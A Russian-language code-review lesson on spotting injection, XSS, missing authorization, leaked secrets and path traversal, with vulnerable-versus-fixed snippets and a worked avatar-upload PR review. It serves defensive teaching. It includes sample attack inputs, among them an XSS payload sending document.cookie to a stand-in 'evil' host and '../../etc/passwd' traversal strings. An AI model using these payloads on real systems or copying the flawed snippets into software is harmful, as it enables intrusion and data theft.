Проверка безопасности — Основы Code Review

Проверка безопасности в Code Review

Уязвимость почти никогда не выглядит как уязвимость. Она выглядит как обычный рабочий код, в который забыли добавить одну проверку.

#Результат урока

Вы научитесь находить в диффе пять классов проблем, которые обязан замечать любой ревьюер: инъекции, XSS, отсутствие проверки прав, секреты в коде и слепое доверие пользовательскому вводу. И освоите приём «проследить путь недоверенных данных», который заменяет заучивание списка уязвимостей.

Глубокий разбор — модели авторизации, криптография, SSRF, десериализация, цепочка поставок — в теме Безопасность: глубокий разбор курса Pro.

#1. Главный приём: проследить путь недоверенных данных

Не пытайтесь помнить OWASP Top 10 наизусть. Вместо этого в каждом диффе найдите точки, где данные приходят снаружи, и проследите каждую до места, где она что-то делает.

Снаружи — это не только форма на сайте. Это параметры запроса, тело, заголовки, cookies, загруженные файлы, имена файлов, ответы сторонних API, содержимое очереди, данные из БД, которые туда положил пользователь, и переменные окружения на машине, которую вы не контролируете.

Опасные места назначения — там, где данные перестают быть строкой и становятся командой:

Куда попадает	Чем грозит
В текст SQL-запроса	SQL-инъекция
В HTML-страницу	XSS
В путь к файлу	Path traversal
В команду оболочки	Command injection
В URL исходящего запроса	SSRF
В шаблон, `eval`, десериализацию	Выполнение кода

Вопрос ревьюера на каждой такой паре один: между источником и назначением есть параметризация или экранирование — или строка просто склеена?

Проверьте себя. Возьмите открытый PR и выпишите все источники недоверенных данных. Часто их больше, чем кажется.

Частая ошибка. Считать доверенными данные из своей же БД. Если их туда записал пользователь, они недоверенные.

#2. Инъекции

# ❌ строка склеена — инъекция
user_id = request.args.get("id")
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
# id = "1 OR 1=1" вернёт всех

# ✅ значение передаётся отдельно от текста запроса
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

Ключевая мысль: безопасность даёт не экранирование кавычек руками, а то, что текст запроса и данные едут по разным каналам. Драйвер знает, что %s — это значение, и никогда не исполнит его как SQL.

Две ловушки, о которых забывают:

# ❌ ORM не спасает, если ему передали сырой фрагмент
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")
session.execute(text(f"ORDER BY {sort_field}"))

Имя колонки для сортировки нельзя передать параметром — параметризуются значения, не идентификаторы. Поэтому sort_field проверяют по белому списку:

ALLOWED_SORT = {"created_at", "total", "status"}
if sort_field not in ALLOWED_SORT:
    raise ValidationError("bad sort field")

То же самое для команд оболочки: subprocess.run(cmd, shell=True) со склеенной строкой — инъекция, subprocess.run(["convert", path, out]) без shell=True — нет.

Проверьте себя. Найдите в проекте все места, где SQL собирается f-строкой или конкатенацией.

Частая ошибка. Пропускать ORDER BY {field} и LIMIT {n} — это тоже инъекция, просто менее очевидная.

#3. XSS

# ❌ пользовательский текст попадает в HTML как есть
return f"<div>{comment}</div>"
# comment = "<script>fetch('//evil/'+document.cookie)</script>"

# ✅ шаблонизатор экранирует автоматически
return render_template("comment.html", comment=comment)

Во фронтенде React экранирует по умолчанию, поэтому XSS появляется ровно там, где эту защиту явно отключают:

// ❌ обход экранирования React
<div dangerouslySetInnerHTML={{ __html: comment.body }} />

// ❌ атрибут-ссылка тоже исполняемый: href="javascript:..."
<a href={user.website}>сайт</a>

// ✅ санитизация перед вставкой разметки
<div dangerouslySetInnerHTML={{ __html: sanitize(comment.body) }} />

// ✅ проверка протокола
<a href={safeUrl(user.website)}>сайт</a>

dangerouslySetInnerHTML в диффе — всегда повод для комментария. Иногда он оправдан (редактор форматированного текста), но тогда рядом обязана быть санитизация проверенной библиотекой, а не самописный replace('<script>', '').

Проверьте себя. Поищите в кодовой базе dangerouslySetInnerHTML, innerHTML и |safe в шаблонах. У каждого вхождения должно быть обоснование.

Частая ошибка. Фильтровать «плохие» подстроки чёрным списком. Обходов у чёрного списка бесконечно много.

#4. Проверка прав

Самая частая уязвимость в продуктовом коде — не инъекция, а объект, доступ к которому проверили недостаточно.

# ❌ аутентификация есть, авторизации нет
@app.get("/orders/{order_id}")
@login_required
def get_order(order_id: int):
    return Order.query.get(order_id)      # чужой заказ отдастся так же охотно

Пользователь авторизован — значит, он кто-то. Но проверки, что этот заказ принадлежит именно ему, нет. Подставив соседний id, он прочитает чужие данные. Это IDOR, и в диффе он выглядит совершенно безобидно.

# ✅ ресурс ищется в пределах прав текущего пользователя
@app.get("/orders/{order_id}")
@login_required
def get_order(order_id: int):
    order = Order.query.filter_by(id=order_id, user_id=current_user.id).first()
    if order is None:
        abort(404)
    return order

Приём: не «получить объект, потом проверить права», а «искать объект сразу в пределах доступного». Второй вариант нельзя забыть — забытая проверка становится пустым результатом, а не утечкой.

Что ещё смотреть: идентификатор, приходящий параметром там, где его надо брать из сессии (user_id в query — почти всегда ошибка); проверка прав только на фронтенде, где скрытая кнопка не мешает вызвать API напрямую; массовое присваивание, когда тело запроса целиком льётся в модель и пользователь дописывает себе "is_admin": true.

Проверьте себя. Для каждого нового эндпоинта в PR ответьте: что произойдёт, если подставить чужой идентификатор.

Частая ошибка. Считать @login_required достаточной защитой. Это проверка «кто», а не «можно ли».

#5. Секреты и чувствительные данные

# ❌ секрет в коде — и, значит, навсегда в истории git
API_KEY = "sk_live_abc123xyz"
DATABASE_URL = "postgresql://user:password@host/db"

# ✅
API_KEY = os.environ["API_KEY"]

Важная деталь, которую упускают: удалить секрет следующим коммитом недостаточно — он остаётся в истории. Правильный ответ на найденный в PR ключ — не «убери», а «убери и отзови, ключ считается скомпрометированным».

Второй сюжет — утечка через логи:

# ❌
logger.info(f"login: {username}, password: {password}")
logger.debug(f"request headers: {request.headers}")   # там Authorization

# ✅
logger.info("login attempt", extra={"username": username})

Логи попадают в системы хранения с более широким доступом, чем прод-база, и живут годами. Персональные данные, токены и номера карт в них — инцидент.

Проверьте себя. Проверьте, стоит ли в CI сканер секретов (gitleaks, detect-secrets). Это дешевле, чем ловить их глазами.

Частая ошибка. Логировать объект запроса или пользователя целиком: сегодня в нём нет ничего чувствительного, через месяц добавят поле.

#6. Валидация ввода

Валидация — это не только защита от атак, но и от собственных ошибок.

# ❌ amount может быть отрицательным, строкой или числом с 8 знаками после запятой
def transfer(from_account, to_account, amount):
    from_account.balance -= amount
    to_account.balance += amount

Отрицательная сумма превращает перевод в кражу в обратную сторону. Проверять нужно тип, диапазон, длину строк, размер и MIME-тип файлов.

Отдельный случай — путь к файлу:

# ❌ name = "../../etc/passwd"
return open(f"/var/data/{name}").read()

# ✅ нормализуем и проверяем, что результат внутри разрешённой директории
base = Path("/var/data").resolve()
target = (base / name).resolve()
if not target.is_relative_to(base):
    abort(403)
return target.read_text()

Проверять надо именно нормализованный путь: строковая проверка на .. до resolve() обходится кодированием и символическими ссылками.

Проверьте себя. Есть ли в проекте схема валидации (Pydantic, Zod) на границе API, или поля разбираются вручную в каждом обработчике?

Частая ошибка. Валидировать на клиенте и считать вопрос закрытым. Клиент — часть недоверенного мира.

#7. Зависимости

Уязвимость чаще приезжает библиотекой, чем пишется своими руками. В ревью смотрите на изменения в poetry.lock, package-lock.json, uv.lock: появилась ли новая транзитивная зависимость, кто её сопровождает, зафиксирована ли версия.

Автоматизируется целиком: pip-audit, npm audit, safety, Dependabot. Если этого нет в CI, ручной поиск бессмысленен.

Проверьте себя. Запустите аудит зависимостей на своём проекте прямо сейчас и посмотрите, сколько известных уязвимостей найдётся.

Частая ошибка. Одобрять PR, который добавляет зависимость ради одной функции на десять строк.

#8. Разбор: PR «Загрузка аватара пользователя»

+@app.post("/users/{user_id}/avatar")
+@login_required
+def upload_avatar(user_id: int):
+    file = request.files["avatar"]
+    filename = file.filename
+    path = f"/var/www/uploads/{filename}"
+    file.save(path)
+
+    db.execute(f"UPDATE users SET avatar = '{filename}' WHERE id = {user_id}")
+    logger.info(f"avatar uploaded: {request.form}")
+
+    return {"url": f"https://cdn.example.com/uploads/{filename}"}

Проследим недоверенные данные. Их три: user_id из пути, file.filename от клиента, request.form целиком.

user_id идёт прямо в UPDATE — и как значение в SQL, и как объект, права на который не проверены. filename идёт в путь файловой системы и в SQL. request.form идёт в лог.

Комментарии в PR:

avatars.py:3 · blocker user_id берётся из пути и никак не сверяется с текущим пользователем: любой авторизованный подменит id и заменит чужой аватар. Берите пользователя из сессии, параметр в пути тогда вообще не нужен.

avatars.py:9 · blocker SQL собирается конкатенацией с filename и user_id — инъекция. Имя файла полностью контролируется клиентом, включая кавычки. Нужны параметры.

avatars.py:6 · blocker file.filename подставляется в путь без нормализации: имя ../../../etc/cron.d/task запишет файл за пределы uploads. Генерируйте имя сами (UUID + расширение из белого списка), клиентское не используйте вообще.

avatars.py:4 · major Ни размера, ни типа файла не проверяется. Загрузка гигабайтного файла или .html со скриптом, отдаваемого потом с вашего домена, — оба сценария реальны. Ограничьте размер и разрешите только image/png и image/jpeg, проверяя содержимое, а не расширение.

avatars.py:10 · major request.form пишется в лог целиком. Сейчас там пусто, но первая же добавленная скрытая форма утечёт в логи. Логируйте конкретные поля.

avatars.py:12 · question Возвращается URL на CDN, а файл сохраняется в локальный /var/www/uploads. Это одно и то же место? Если инстансов несколько, аватар будет виден не всем.

Чем закончилось. Имя файла стало генерируемым UUID, user_id ушёл из сигнатуры в пользу current_user, запрос параметризован, добавлены лимит в 2 МБ и проверка типа по сигнатуре содержимого. Вопрос про CDN оказался важным: локальное сохранение действительно ломалось на втором инстансе, это вынесли в отдельный тикет на S3.

Заметьте: чтобы найти три blocker'а, не понадобилось знать OWASP Top 10 наизусть — достаточно было проследить три недоверенных значения.

#9. Чек-лист

ИСТОЧНИКИ    выписаны все недоверенные данные PR
SQL          параметры, а не конкатенация; идентификаторы — по белому списку
HTML         экранирование включено; каждый обход защиты обоснован и санитизирован
ПРАВА        объект ищется в пределах прав; id не приходит из запроса
ФАЙЛЫ        имя генерируется нами; путь нормализован; тип и размер ограничены
СЕКРЕТЫ      нет в коде; при находке — отозвать, а не просто удалить
ЛОГИ         без паролей, токенов, PII; логируются поля, а не объекты
ЗАВИСИМОСТИ  новые оправданы; аудит в CI зелёный

#Что дальше

Тренировка: Code Review Python → Безопасность и Code Review React → Безопасность. Продолжение темы для сложных случаев — Безопасность: глубокий разбор.

Ключевая мысль: ревьюер ищет не уязвимости, а места, где недоверенные данные доходят до опасной операции без преобразования.

Куда попадает

Чем грозит

В текст SQL-запроса

SQL-инъекция

В HTML-страницу

XSS

В путь к файлу

Path traversal

В команду оболочки

Command injection

В URL исходящего запроса

SSRF

В шаблон, eval, десериализацию

Выполнение кода